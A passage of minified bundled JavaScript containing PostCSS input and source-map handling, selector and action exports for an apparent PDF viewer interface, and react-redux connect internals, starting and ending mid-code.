l(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var s=0,u=function(){function e(e,t){if(void 0===t&&(t={}),null==e||"object"==typeof e&&!e.toString)throw new Error("PostCSS received "+e+" instead of CSS string");this.css=e.toString(),"\ufeff"===this.css[0]||""===this.css[0]?(this.hasBOM=!0,this.css=this.css.slice(1)):this.hasBOM=!1,t.from&&(/^\w+:\/\//.test(t.from)||r.default.isAbsolute(t.from)?this.file=t.from:this.file=r.default.resolve(t.from));var n=new i.default(this.css,t);if(n.text){this.map=n;var o=n.consumer().file;!this.file&&o&&(this.file=this.mapResolve(o))}this.file||(s+=1,this.id="<input css "+s+">"),this.map&&(this.map.file=this.from)}var t,n,a,u=e.prototype;return u.error=function(e,t,n,r){var i;void 0===r&&(r={});var a=this.origin(t,n);return(i=a?new o.default(e,a.line,a.column,a.source,a.file,r.plugin):new o.default(e,t,n,this.css,this.file,r.plugin)).input={line:t,column:n,source:this.css},this.file&&(i.input.file=this.file),i},u.origin=function(e,t){if(!this.map)return!1;var n=this.map.consumer(),r=n.originalPositionFor({line:e,column:t});if(!r.source)return!1;var o={file:this.mapResolve(r.source),line:r.line,column:r.column},i=n.sourceContentFor(r.source);return i&&(o.source=i),o},u.mapResolve=function(e){return/^\w+:\/\//.test(e)?e:r.default.resolve(this.map.consumer().sourceRoot||".",e)},t=e,(n=[{key:"from",get:function(){return this.file||this.id}}])&&l(t.prototype,n),a&&l(t,a),e}();t.default=u,e.exports=t.default},function(e,t,n){"use strict";(function(r){t.__esModule=!0,t.default=void 0;var o=l(n(304)),i=l(n(203)),a=l(n(1176));function l(e){return e&&e.__esModule?e:{default:e}}var s=function(){function e(e,t){this.loadAnnotation(e),this.inline=this.startWith(this.annotation,"data:");var n=t.map?t.map.prev:void 0,r=this.loadMap(t.from,n);r&&(this.text=r)}var t=e.prototype;return t.consumer=function(){return this.consumerCache||(this.consumerCache=new o.default.SourceMapConsumer(this.text)),this.consumerCache},t.withContent=function(){return!!(this.consumer().sourcesContent&&this.consumer().sourcesContent.length>0)},t.startWith=function(e,t){return!!e&&e.substr(0,t.length)===t},t.getAnnotationURL=function(e){return e.match(/\/\*\s*# sourceMappingURL=((?:(?!sourceMappingURL=).)*)\*\//)[1].trim()},t.loadAnnotation=function(e){var t=e.match(/\/\*\s*# sourceMappingURL=(?:(?!sourceMappingURL=).)*\*\//gm);if(t&&t.length>0){var n=t[t.length-1];n&&(this.annotation=this.getAnnotationURL(n))}},t.decodeInline=function(e){var t,n="data:application/json,";if(this.startWith(e,n))return decodeURIComponent(e.substr(n.length));if(/^data:application\/json;charset=utf-?8;base64,/.test(e)||/^data:application\/json;base64,/.test(e))return t=e.substr(RegExp.lastMatch.length),r?r.from(t,"base64").toString():window.atob(t);var o=e.match(/data:application\/json;([^,]+),/)[1];throw new Error("Unsupported source map encoding "+o)},t.loadMap=function(e,t){if(!1===t)return!1;if(t){if("string"==typeof t)return t;if("function"==typeof t){var n=t(e);if(n&&a.default.existsSync&&a.default.existsSync(n))return a.default.readFileSync(n,"utf-8").toString().trim();throw new Error("Unable to load previous source map: "+n.toString())}if(t instanceof o.default.SourceMapConsumer)return o.default.SourceMapGenerator.fromSourceMap(t).toString();if(t instanceof o.default.SourceMapGenerator)return t.toString();if(this.isMap(t))return JSON.stringify(t);throw new Error("Unsupported previous source map format: "+t.toString())}if(this.inline)return this.decodeInline(this.annotation);if(this.annotation){var r=this.annotation;return e&&(r=i.default.join(i.default.dirname(e),r)),this.root=i.default.dirname(r),!(!a.default.existsSync||!a.default.existsSync(r))&&a.default.readFileSync(r,"utf-8").toString().trim()}},t.isMap=function(e){return"object"==typeof e&&("string"==typeof e.mappings||"string"==typeof e._mappings)},e}();t.default=s,e.exports=t.default}).call(this,n(196).Buffer)},function(e,t){},function(e,t,n){"use strict";t.__esModule=!0,t.default=void 0;var r={prefix:function(e){var t=e.match(/^(-\w+-)/);return t?t[0]:""},unprefixed:function(e){return e.replace(/^-\w+-/,"")}};t.default=r,e.exports=t.default},function(e,t,n){},function(e,t,n){"use strict";n.r(t);var r={};n.r(r),n.d(r,"getPresetCropDimensions",(function(){return tn})),n.d(r,"getDateTimeFormats",(function(){return nn})),n.d(r,"getThumbnailSelectionMode",(function(){return rn})),n.d(r,"getFonts",(function(){return on})),n.d(r,"getTabs",(function(){return an})),n.d(r,"getActiveTab",(function(){return ln})),n.d(r,"getIsMultiTab",(function(){return sn})),n.d(r,"getTabManager",(function(){return un})),n.d(r,"getIsHighContrastMode",(function(){return cn})),n.d(r,"getLastPickedToolForGroup",(function(){return fn})),n.d(r,"getStandardStamps",(function(){return dn})),n.d(r,"getCustomStamps",(function(){return pn})),n.d(r,"getSelectedStampIndex",(function(){return hn})),n.d(r,"getSelectedStamp",(function(){return mn})),n.d(r,"getSavedSignatures",(function(){return gn})),n.d(r,"getDisplayedSignatures",(function(){return vn})),n.d(r,"getSelectedDisplayedSignatureIndex",(function(){return yn})),n.d(r,"getSelectedDisplayedSignature",(function(){return bn})),n.d(r,"getDisplayedSignaturesFilterFunction",(function(){return wn})),n.d(r,"getAutoFocusNoteOnAnnotationSelection",(function(){return En})),n.d(r,"getNotesInLeftPanel",(function(){return Sn})),n.d(r,"getLeftPanelWidth",(function(){return Cn})),n.d(r,"getSearchPanelWidth",(function(){return xn})),n.d(r,"getNotesPanelWidth",(function(){return On})),n.d(r,"getRedactionPanelWidth",(function(){return An})),n.d(r,"getWv3dPropertiesPanelWidth",(function(){return _n})),n.d(r,"getLeftPanelWidthWithReszieBar",(function(){return Tn})),n.d(r,"getSearchPanelWidthWithReszieBar",(function(){return kn})),n.d(r,"getNotesPanelWidthWithReszieBar",(function(){return Pn})),n.d(r,"getDocumentContentContainerWidthStyle",(function(){return Mn})),n.d(r,"getDocumentContainerWidth",(function(){return Rn})),n.d(r,"getDocumentContainerHeight",(function(){return jn})),n.d(r,"isElementDisabled",(function(){return Ln})),n.d(r,"isElementOpen",(function(){return In})),n.d(r,"allButtonsInGroupDisabled",(function(){return Nn})),n.d(r,"getToolbarHeaders",(function(){return Dn})),n.d(r,"getEnabledToolbarGroups",(function(){return Fn})),n.d(r,"getCurrentToolbarGroup",(function(){return Bn})),n.d(r,"getActiveTheme",(function(){return Hn})),n.d(r,"getDefaultHeaderItems",(function(){return Vn})),n.d(r,"getActiveHeaderItems",(function(){return zn})),n.d(r,"getDisabledElementPriority",(function(){return Un})),n.d(r,"getToolsHeaderItems",(function(){return Gn})),n.d(r,"getToolbarGroupItems",(function(){return Wn})),n.d(r,"getToolButtonObjects",(function(){return qn})),n.d(r,"isToolGroupReorderingEnabled",(function(){return Zn})),n.d(r,"isNoteSubmissionWithEnterEnabled",(function(){return Yn})),n.d(r,"isNotesPanelTextCollapsingEnabled",(function(){return $n})),n.d(r,"isNotesPanelRepliesCollapsingEnabled",(function(){return Kn})),n.d(r,"isCommentThreadExpansionEnabled",(function(){return Xn})),n.d(r,"getActiveToolNamesForActiveToolGroup",(function(){return Qn})),n.d(r,"getToolButtonDataElements",(function(){return Jn})),n.d(r,"getToolButtonObject",(function(){return er})),n.d(r,"getToolButtonDataElement",(function(){return tr})),n.d(r,"getToolNamesByGroup",(function(){return nr})),n.d(r,"getToolNameByDataElement",(function(){return rr})),n.d(r,"getActiveToolName",(function(){return or})),n.d(r,"getActiveToolStyles",(function(){return ir})),n.d(r,"getCustomColor",(function(){return ar})),n.d(r,"getCustomColors",(function(){return lr})),n.d(r,"getActiveLeftPanel",(function(){return sr})),n.d(r,"getActiveToolGroup",(function(){return ur})),n.d(r,"getNotePopupId",(function(){return cr})),n.d(r,"getFitMode",(function(){return fr})),n.d(r,"getZoom",(function(){return dr})),n.d(r,"getDisplayMode",(function(){return pr})),n.d(r,"getCurrentPage",(function(){return hr})),n.d(r,"getSortStrategy",(function(){return mr})),n.d(r,"getRotation",(function(){return gr})),n.d(r,"getNoteDateFormat",(function(){return vr})),n.d(r,"getPrintedNoteDateFormat",(function(){return yr})),n.d(r,"isFullScreen",(function(){return br})),n.d(r,"doesDocumentAutoLoad",(function(){return wr})),n.d(r,"isDocumentReadOnly",(function(){return Er})),n.d(r,"getCustomPanels",(function(){return Sr})),n.d(r,"getCustomModals",(function(){return Cr})),n.d(r,"getPageLabels",(function(){return xr})),n.d(r,"getSelectedThumbnailPageIndexes",(function(){return Or})),n.d(r,"getShiftKeyThumbnailPivotIndex",(function(){return Ar})),n.d(r,"getDisabledCustomPanelTabs",(function(){return _r})),n.d(r,"isEmbedPrintSupported",(function(){return Tr})),n.d(r,"isOutlineControlVisible",(function(){return kr})),n.d(r,"getColorMap",(function(){return Pr})),n.d(r,"getCursorOverlayData",(function(){return Mr})),n.d(r,"getOpenElements",(function(){return Rr})),n.d(r,"getDisabledElements",(function(){return jr})),n.d(r,"getCurrentPalette",(function(){return Lr})),n.d(r,"getIconColor",(function(){return Ir})),n.d(r,"getCustomNoteFilter",(function(){return Nr})),n.d(r,"getIsReplyDisabled",(function(){return Dr})),n.d(r,"getZoomList",(function(){return Fr})),n.d(r,"getMeasurementUnits",(function(){return Br})),n.d(r,"getIsNoteEditing",(function(){return Hr})),n.d(r,"getMaxSignaturesCount",(function(){return Vr})),n.d(r,"getUserData",(function(){return zr})),n.d(r,"getIsMentionEnabled",(function(){return Ur})),n.d(r,"getSignatureFonts",(function(){return Gr})),n.d(r,"getSelectedTab",(function(){return Wr})),n.d(r,"getCustomElementOverrides",(function(){return qr})),n.d(r,"getPopupItems",(function(){return Zr})),n.d(r,"getMenuOverlayItems",(function(){return Yr})),n.d(r,"getIsThumbnailMergingEnabled",(function(){return $r})),n.d(r,"getIsThumbnailReorderingEnabled",(function(){return Kr})),n.d(r,"isThumbnailMultiselectEnabled",(function(){return Xr})),n.d(r,"getIsMultipleViewerMerging",(function(){return Qr})),n.d(r,"getEnableNotesPanelVirtualizedList",(function(){return Jr})),n.d(r,"notesShowLastUpdatedDate",(function(){return eo})),n.d(r,"getAllowPageNavigation",(function(){return to})),n.d(r,"getCustomMeasurementOverlay",(function(){return no})),n.d(r,"getAnnotationContentOverlayHandler",(function(){return ro})),n.d(r,"getEnableMouseWheelZoom",(function(){return oo})),n.d(r,"isReaderMode",(function(){return io})),n.d(r,"getCertificates",(function(){return ao})),n.d(r,"getTrustLists",(function(){return lo})),n.d(r,"getValidationModalWidgetName",(function(){return so})),n.d(r,"getVerificationResult",(function(){return uo})),n.d(r,"isThumbnailSelectingPages",(function(){return co})),n.d(r,"getWatermarkModalOptions",(function(){return fo})),n.d(r,"getZoomStepFactors",(function(){return po})),n.d(r,"getWarningMessage",(function(){return ho})),n.d(r,"getWarningTitle",(function(){return mo})),n.d(r,"getWarningConfirmEvent",(function(){return go})),n.d(r,"getWarningConfirmBtnText",(function(){return vo})),n.d(r,"getWarningSecondaryEvent",(function(){return yo})),n.d(r,"getWarningSecondaryBtnText",(function(){return bo})),n.d(r,"getWarningCancelEvent",(function(){return wo})),n.d(r,"isAccessibleMode",(function(){return Eo})),n.d(r,"getErrorMessage",(function(){return So})),n.d(r,"getPasswordAttempts",(function(){return Co})),n.d(r,"getPrintQuality",(function(){return xo})),n.d(r,"getDefaultPrintOptions",(function(){return Oo})),n.d(r,"getTotalPages",(function(){return Ao})),n.d(r,"getOutlines",(function(){return _o})),n.d(r,"getIsOutlineEditing",(function(){return To})),n.d(r,"getBookmarks",(function(){return ko})),n.d(r,"getLayers",(function(){return Po})),n.d(r,"getLoadingProgress",(function(){return Mo})),n.d(r,"getUserName",(function(){return Ro})),n.d(r,"getServerUrl",(function(){return jo})),n.d(r,"getSearchValue",(function(){return Lo})),n.d(r,"shouldClearSearchPanelOnClose",(function(){return Io})),n.d(r,"isCaseSensitive",(function(){return No})),n.d(r,"isWholeWord",(function(){return Do})),n.d(r,"isWildcard",(function(){return Fo})),n.d(r,"isSearchUp",(function(){return Bo})),n.d(r,"isAmbientString",(function(){return Ho})),n.d(r,"isRegex",(function(){return Vo})),n.d(r,"isProcessingSearchResults",(function(){return zo})),n.d(r,"getRedactionSearchPatterns",(function(){return Uo})),n.d(r,"getNoteTransformFunction",(function(){return Go})),n.d(r,"getCustomNoteSelectionFunction",(function(){return Wo})),n.d(r,"getCustomApplyRedactionsHandler",(function(){return qo})),n.d(r,"isSnapModeEnabled",(function(){return Zo})),n.d(r,"getUnreadAnnotationIdSet",(function(){return Yo})),n.d(r,"getCurrentLanguage",(function(){return $o})),n.d(r,"shouldFadePageNavigationComponent",(function(){return Ko})),n.d(r,"isContentEditWarningHidden",(function(){return Xo})),n.d(r,"getCurrentContentBeingEdited",(function(){return Qo})),n.d(r,"getFeatureFlags",(function(){return Jo})),n.d(r,"isInDesktopOnlyMode",(function(){return ei})),n.d(r,"pageDeletionConfirmationModalEnabled",(function(){return ti})),n.d(r,"getPageReplacementFileList",(function(){return ni})),n.d(r,"getPageManipulationOverlayItems",(function(){return ri})),n.d(r,"getThumbnailControlMenuItems",(function(){return oi})),n.d(r,"shouldShowPresets",(function(){return ii})),n.d(r,"shouldResetAudioPlaybackPosition",(function(){return ai})),n.d(r,"getActiveSoundAnnotation",(function(){return li})),n.d(r,"getWv3dPropertiesPanelModelData",(function(){return si})),n.d(r,"getWv3dPropertiesPanelSchema",(function(){return ui})),n.d(r,"getAnnotationFilters",(function(){return ci}));var o={};n.r(o),n.d(o,"disableElement",(function(){return yi})),n.d(o,"disableElements",(function(){return bi})),n.d(o,"enableElement",(function(){return wi})),n.d(o,"enableElements",(function(){return Ei})),n.d(o,"setThumbnailMerging",(function(){return Si})),n.d(o,"setThumbnailReordering",(function(){return Ci})),n.d(o,"setThumbnailMultiselect",(function(){return xi})),n.d(o,"setIsMultipleViewerMerging",(function(){return Oi})),n.d(o,"setEnableNotesPanelVirtualizedList",(function(){return Ai})),n.d(o,"setNotesShowLastUpdatedDate",(function(){return _i})),n.d(o,"setAllowPageNavigation",(function(){return Ti})),n.d(o,"setLastPickedToolForGroup",(function(){return ki})),n.d(o,"setEnableToolGroupReordering",(function(){return Pi})),n.d(o,"setActiveToolNameAndStyle",(function(){return Mi})),n.d(o,"setActiveToolStyles",(function(){return Ri})),n.d(o,"setCustomColor",(function(){return ji})),n.d(o,"setCustomColors",(function(){return Li})),n.d(o,"setActiveToolGroup",(function(){return Ii})),n.d(o,"setNotePopupId",(function(){return Ni})),n.d(o,"triggerNoteEditing",(function(){return Di})),n.d(o,"finishNoteEditing",(function(){return Fi})),n.d(o,"setFitMode",(function(){return Bi})),n.d(o,"setZoom",(function(){return Hi})),n.d(o,"setRotation",(function(){return Vi})),n.d(o,"setDisplayMode",(function(){return zi})),n.d(o,"setCurrentPage",(function(){return Ui})),n.d(o,"setFullScreen",(function(){return Gi})),n.d(o,"setReadOnly",(function(){return Wi})),n.d(o,"registerTool",(function(){return qi})),n.d(o,"unregisterTool",(function(){return Zi})),n.d(o,"setToolButtonObjects",(function(){return Yi})),n.d(o,"setHeaderItems",(function(){return $i})),n.d(o,"setPopupItems",(function(){return Ki})),n.d(o,"setMenuOverlayItems",(function(){return Xi})),n.d(o,"setColorPalette",(function(){return Qi})),n.d(o,"setActivePalette",(function(){return Ji})),n.d(o,"setIconColor",(function(){return ea})),n.d(o,"setColorMap",(function(){return ta})),n.d(o,"setLeftPanelWidth",(function(){return na})),n.d(o,"disableReplyForAnnotations",(function(){return ra})),n.d(o,"setMouseWheelZoom",(function(){return oa})),n.d(o,"setReaderMode",(function(){return ia})),n.d(o,"setThumbnailSelectingPages",(function(){return aa})),n.d(o,"setPageManipulationOverlayItems",(function(){return la})),n.d(o,"setThumbnailControlMenuItems",(function(){return sa})),n.d(o,"setTabManager",(function(){return ua})),n.d(o,"setMultiTab",(function(){return ca})),n.d(o,"setTabs",(function(){return fa})),n.d(o,"setActiveTab",(function(){return da})),n.d(o,"setFonts",(function(){return pa})),n.d(o,"setTotalPages",(function(){return ha})),n.d(o,"setOutlines",(function(){return ma})),n.d(o,"setIsOutlineEditing",(function(){return ga})),n.d(o,"setBookmarks",(function(){return va})),n.d(o,"addBookmark",(function(){return ya})),n.d(o,"editBookmark",(function(){return ba})),n.d(o,"removeBookmark",(function(){return wa})),n.d(o,"setLayers",(function(){return Ea})),n.d(o,"setPasswordAttempts",(function(){return Sa})),n.d(o,"setPrintQuality",(function(){return Ca})),n.d(o,"setDefaultPrintOptions",(function(){return xa})),n.d(o,"setLoadingProgress",(function(){return Oa})),n.d(o,"resetLoadingProgress",(function(){return Aa})),n.d(o,"setVerificationResult",(function(){return _a})),n.d(o,"setUserName",(function(){return Ta})),n.d(o,"setAdminUser",(function(){return ka})),n.d(o,"searchText",(function(){return Pa})),n.d(o,"searchTextFull",(function(){return Ma})),n.d(o,"addSearchListener",(function(){return Ra})),n.d(o,"removeSearchListener",(function(){return ja})),n.d(o,"setSearchValue",(function(){return La})),n.d(o,"setCaseSensitive",(function(){return Ia})),n.d(o,"setWholeWord",(function(){return Na})),n.d(o,"setWildcard",(function(){return Da})),n.d(o,"resetSearch",(function(){return Fa})),n.d(o,"setNoteTransformFunction",(function(){return Ba})),n.d(o,"setCustomNoteSelectionFunction",(function(){return Ha})),n.d(o,"setCustomApplyRedactionsHandler",(function(){return Va})),n.d(o,"setEnableSnapMode",(function(){return za})),n.d(o,"setLanguage",(function(){return Ua})),n.d(o,"setHideContentEditWarning",(function(){return Ga})),n.d(o,"setCurrentContentBeingEdited",(function(){return Wa})),n.d(o,"updateCurrentContentBeingEdited",(function(){return qa})),n.d(o,"clearCurrentContentBeingEdited",(function(){return Za})),n.d(o,"setProcessingSearchResults",(function(){return Ya})),n.d(o,"triggerResetAudioPlaybackPosition",(function(){return $a})),n.d(o,"setActiveSoundAnnotation",(function(){return Ka})),n.d(o,"setAnnotationFilters",(function(){return Xa}));var i={};n.r(i),n.d(i,"setPresetCropDimensions",(function(){return rl})),n.d(i,"setDateTimeFormats",(function(){return ol})),n.d(i,"setEnableDesktopOnlyMode",(function(){return il})),n.d(i,"setHighContrastMode",(function(){return al})),n.d(i,"setCanUndo",(function(){return ll})),n.d(i,"setCanRedo",(function(){return sl})),n.d(i,"setStandardStamps",(function(){return ul})),n.d(i,"setCustomStamps",(function(){return cl})),n.d(i,"setReadOnlyRibbons",(function(){return fl})),n.d(i,"enableRibbons",(function(){return dl})),n.d(i,"allButtonsInGroupDisabled",(function(){return hl})),n.d(i,"setToolbarGroup",(function(){return ml})),n.d(i,"setSelectedStampIndex",(function(){return gl})),n.d(i,"setOutlineControlVisibility",(function(){return vl})),n.d(i,"setSelectedDisplayedSignatureIndex",(function(){return yl})),n.d(i,"setSavedSignatures",(function(){return bl})),n.d(i,"setDisplayedSignaturesFilterFunction",(function(){return wl})),n.d(i,"setLeftPanelWidth",(function(){return El})),n.d(i,"setSearchPanelWidth",(function(){return Sl})),n.d(i,"setNotesPanelWidth",(function(){return Cl})),n.d(i,"setRedactionPanelWidth",(function(){return xl})),n.d(i,"setWv3dPropertiesPanelWidth",(function(){return Ol})),n.d(i,"setWv3dPropertiesPanelModelData",(function(){return Al})),n.d(i,"setWv3dPropertiesPanelSchema",(function(){return _l})),n.d(i,"setDocumentContainerWidth",(function(){return Tl})),n.d(i,"setDocumentContainerHeight",(function(){return kl})),n.d(i,"enableAllElements",(function(){return Pl})),n.d(i,"openElement",(function(){return Ml})),n.d(i,"openElements",(function(){return Rl})),n.d(i,"closeElement",(function(){return jl})),n.d(i,"closeElements",(function(){return Ll})),n.d(i,"toggleElement",(function(){return Il})),n.d(i,"addCustomModal",(function(){return Nl})),n.d(i,"setActiveHeaderGroup",(function(){return Dl})),n.d(i,"setActiveLeftPanel",(function(){return Fl})),n.d(i,"setNotesPanelSortStrategy",(function(){return Bl})),n.d(i,"setSortNotesBy",(function(){return Hl})),n.d(i,"setNoteDateFormat",(function(){return Vl})),n.d(i,"setPrintedNoteDateFormat",(function(){return zl})),n.d(i,"setCustomPanel",(function(){return Ul})),n.d(i,"setPageLabels",(function(){return Gl})),n.d(i,"setSelectedPageThumbnails",(function(){return Wl})),n.d(i,"setShiftKeyThumbnailsPivotIndex",(function(){return ql})),n.d(i,"setSwipeOrientation",(function(){return Zl})),n.d(i,"showWarningMessage",(function(){return Yl})),n.d(i,"showErrorMessage",(function(){return $l})),n.d(i,"setCustomNoteFilter",(function(){return Kl})),n.d(i,"setZoomList",(function(){return Xl})),n.d(i,"useEmbeddedPrint",(function(){return Ql})),n.d(i,"setMaxSignaturesCount",(function(){return Jl})),n.d(i,"setUserData",(function(){return es})),n.d(i,"setCustomMeasurementOverlay",(function(){return ts})),n.d(i,"setSelectedTab",(function(){return ns})),n.d(i,"setCustomElementOverrides",(function(){return rs})),n.d(i,"setPageReplacementModalFileList",(function(){return os})),n.d(i,"setActiveTheme",(function(){return is})),n.d(i,"setSearchResults",(function(){return as})),n.d(i,"setClearSearchOnPanelClose",(function(){return ls})),n.d(i,"setAnnotationContentOverlayHandler",(function(){return ss})),n.d(i,"setAnnotationReadState",(function(){return us})),n.d(i,"addTrustedCertificates",(function(){return cs})),n.d(i,"addTrustList",(function(){return fs})),n.d(i,"setSignatureValidationModalWidgetName",(function(){return ds})),n.d(i,"setNoteSubmissionEnabledWithEnter",(function(){return ps})),n.d(i,"setNotesPanelTextCollapsing",(function(){return hs})),n.d(i,"setNotesPanelRepliesCollapsing",(function(){return ms})),n.d(i,"setCommentThreadExpansion",(function(){return gs})),n.d(i,"enableFadePageNavigationComponent",(function(){return vs})),n.d(i,"disableFadePageNavigationComponent",(function(){return ys})),n.d(i,"enablePageDeletionConfirmationModal",(function(){return bs})),n.d(i,"disablePageDeletionConfirmationModal",(function(){return ws})),n.d(i,"setWatermarkModalOptions",(function(){return Es})),n.d(i,"replaceRedactionSearchPattern",(function(){return Ss})),n.d(i,"setThumbnailSelectionMode",(function(){return Cs})),n.d(i,"addRedactionSearchPattern",(function(){return xs})),n.d(i,"removeRedactionSearchPattern",(function(){return Os})),n.d(i,"setZoomStepFactors",(function(){return As}));var a={};n.r(a),n.d(a,"Check",(function(){return jv})),n.d(a,"ChevronDown",(function(){return Lv})),n.d(a,"Circle",(function(){return Iv})),n.d(a,"Close",(function(){return Nv})),n.d(a,"Download",(function(){return Dv})),n.d(a,"Error",(function(){return Fv})),n.d(a,"Hide",(function(){return Bv})),n.d(a,"Info",(function(){return Hv})),n.d(a,"Menu",(function(){return Vv})),n.d(a,"MultiPage",(function(){return zv})),n.d(a,"RotateRight",(function(){return Uv})),n.d(a,"Search",(function(){return Gv})),n.d(a,"Show",(function(){return Wv})),n.d(a,"SinglePage",(function(){return qv})),n.d(a,"Success",(function(){return Zv})),n.d(a,"Warning",(function(){return Yv}));n(332),n(340),n(341),n(342),n(343),n(344),n(345),n(346),n(347),n(348),n(349),n(350),n(351),n(352),n(353),n(354),n(355),n(356),n(357),n(358),n(359),n(360),n(361),n(362),n(363),n(365),n(366),n(367),n(131),n(368),n(369),n(370),n(371),n(372),n(373),n(374),n(375),n(376),n(377),n(378),n(379),n(380),n(381),n(382),n(384),n(385),n(386),n(388),n(389),n(391),n(392),n(394),n(395),n(396),n(397),n(398),n(399),n(401),n(402),n(403),n(404),n(405),n(406),n(407),n(408),n(410),n(411),n(412),n(414),n(415),n(416),n(417),n(418),n(419),n(420),n(421),n(422),n(423),n(425),n(426),n(427),n(428),n(429),n(430),n(431),n(432),n(433),n(434),n(435),n(436),n(437),n(438),n(439),n(440),n(441),n(442),n(443),n(444),n(445),n(446),n(447),n(448),n(449),n(450),n(451),n(452),n(453),n(454),n(455),n(456),n(457),n(459),n(460),n(461),n(462),n(474),n(475),n(476),n(477),n(478),n(479),n(480),n(481),n(482),n(483),n(484),n(485),n(486),n(487),n(488),n(252),n(490),n(491),n(492),n(494),n(495),n(496),n(497),n(254),n(498),n(499),n(500),n(501),n(502),n(503),n(505),n(506),n(507),n(508),n(509),n(511),n(513),n(514),n(515),n(516),n(517),n(518),n(519),n(520),n(521),n(522),n(523),n(524),n(525),n(526),n(528),n(529),n(530),n(531),n(532),n(533),n(534),n(535),n(536),n(537),n(538),n(539),n(542),n(543),n(544),n(545),n(546),n(547),n(548),n(549),n(550),n(551),n(552),n(553),n(554),n(555),n(556),n(557),n(558),n(559),n(560),n(561),n(562),n(563),n(565),n(567),n(568),n(569),n(572),n(573),n(576),n(579),n(580),n(581);var l=n(0),s=n.n(l),u=n(16),c=n.n(u),f=n(58),d=s.a.createContext(null);var p=function(e){e()};function h(){var e=p,t=null,n=null;return{clear:function(){t=null,n=null},notify:function(){e((function(){for(var e=t;e;)e.callback(),e=e.next}))},get:function(){for(var e=[],n=t;n;)e.push(n),n=n.next;return e},subscribe:function(e){var r=!0,o=n={callback:e,next:null,prev:n};return o.prev?o.prev.next=o:t=o,function(){r&&null!==t&&(r=!1,o.next?o.next.prev=o.prev:n=o.prev,o.prev?o.prev.next=o.next:t=o.next)}}}}var m={notify:function(){},get:function(){return[]}};function g(e,t){var n,r=m;function o(){a.onStateChange&&a.onStateChange()}function i(){n||(n=t?t.addNestedSub(o):e.subscribe(o),r=h())}var a={addNestedSub:function(e){return i(),r.subscribe(e)},notifyNestedSubs:function(){r.notify()},handleChangeWrapper:o,isSubscribed:function(){return Boolean(n)},trySubscribe:i,tryUnsubscribe:function(){n&&(n(),n=void 0,r.clear(),r=m)},getListeners:function(){return r}};return a}var v="undefined"!=typeof window&&void 0!==window.document&&void 0!==window.document.createElement?l.useLayoutEffect:l.useEffect;var y=function(e){var t=e.store,n=e.context,r=e.children,o=Object(l.useMemo)((function(){var e=g(t);return{store:t,subscription:e}}),[t]),i=Object(l.useMemo)((function(){return t.getState()}),[t]);v((function(){var e=o.subscription;return e.onStateChange=e.notifyNestedSubs,e.trySubscribe(),i!==t.getState()&&e.notifyNestedSubs(),function(){e.tryUnsubscribe(),e.onStateChange=null}}),[o,i]);var a=n||d;return s.a.createElement(a.Provider,{value:o},r)};function b(){return(b=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function w(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}var E=n(121),S=n.n(E),C=n(310),x=["getDisplayName","methodName","renderCountProp","shouldHandleStateChanges","storeKey","withRef","forwardRef","context"],O=["reactReduxForwardedRef"],A=[],T=[null,null];function k(e,t){var n=e[1];return[t.payload,n+1]}function P(e,t,n){v((function(){return e.apply(void 0,t)}),n)}function M(e,t,n,r,o,i,a){e.current=r,t.current=o,n.current=!1,i.current&&(i.current=null,a())}function R(e,t,n,r,o,i,a,l,s,u){if(e){var c=!1,f=null,d=function(){if(!c){var e,n,d=t.getState();try{e=r(d,o.current)}catch(e){n=e,f=e}n||(f=null),e===i.current?a.current||s():(i.current=e,l.current=e,a.current=!0,u({type:"STORE_UPDATED",payload:{error:n}}))}};n.onStateChange=d,n.trySubscribe(),d();return function(){if(c=!0,n.tryUnsubscribe(),n.onStateChange=null,f)throw f}}}var j=function(){return[null,0]};function L(e,t){void 0===t&&(t={});var n=t,r=n.getDisplayName,o=void 0===r?function(e){return"ConnectAdvanced("+e+")"}:r,i=n.methodName,a=void 0===i?"connectAdvanced":i,u=n.renderCountProp,c=void 0===u?void 0:u,f=n.shouldHandleStateChanges,p=void 0===f||f,h=n.storeKey,m=void 0===h?"store":h,v=(n.withRef,n.forwardRef),y=void 0!==v&&v,E=n.context,_=void 0===E?d:E,L=w(n,x),I=_;return function(t){var n=t.displayName||t.name||"Component",r=o(n),i=b({},L,{getDisplayName:o,methodName:a,renderCountProp:c,shouldHandleStateChanges:p,storeKey:m,displayName:r,wrappedComponentName:n,WrappedComponent:t}),u=L.pure;var f=u?l.useMemo:function(e){return e()};function d(n){var r=Object(l.useMemo)((function(){var e=n.reactReduxForwardedRef,t=w(n,O);return[n.context,e,t]}),[n]),o=r[0],a=r[1],u=r[2],c=Object(l.useMemo)((function(){return o&&o.Consumer&&Object(C.isContextConsumer)(s.a.createElement(o.Consumer,null))?o:I}),[o,I]),d=Object(l.useContext)(c),h=Boolean(n.store)&&Boolean(n.store.getState)&&Boolean(n.store.dispatch);Boolean(d)&&Boolean(d.store);var m=h?n.store:d.store,v=Object(l.useMemo)((function(){return function(t){return e(t.dispatch,i)}(m)}),[m]),y=Object(l.useMemo)((function(){if(!p)return T;var e=g(m,h?null:d.subscription),t=e.notifyNestedSubs.bind(e);return[e,t]}),[m,h,d]),E=y[0],S=y[1],x=Object(l.useMemo)((function(){return h?d:b({},d,{subscription:E})}),[h,d,E]),_=Object(l.useReducer)(k,A,j),L=_[0][0],N=_[1];if(L&&L.error)throw L.error;var D=Object(l.useRef)(),F=Object(l.useRef)(u),B=Object(l.useRef)(),H=Object(l.useRef)(!1),V=f((function(){return B.current&&u===F.current?B.current:v(m.getState(),u)}),[m,L,u]);P(M,[F,D,H,u,V,B,S]),P(R,[p,m,E,v,F,D,H,B,S,N],[m,E,v]);var z=Object(l.useMemo)((function(){return s.a.createElement(t,b({},V,{ref:a}))}),[a,t,V]);return Object(l.useMemo)((function(){return p?s.a.createElement(c.Provider,{value:x},z):z}),[c,z,x])}var h=u?s.a.memo(d):d;if(h.WrappedComponent=t,h.displayName=d.displayName=r,y){var v=s.a.forwardRef((function(e,t){return s.a.createElement(h,b({},e,{reactReduxForwardedRef:t}))}));return v.displayName=r,v.WrappedComponent=t,S()(v,t)}return S()(h,t)}}function I(e,t){return e===t?0!==e||0!==t||1/e==1/t:e!=e&&t!=t}function 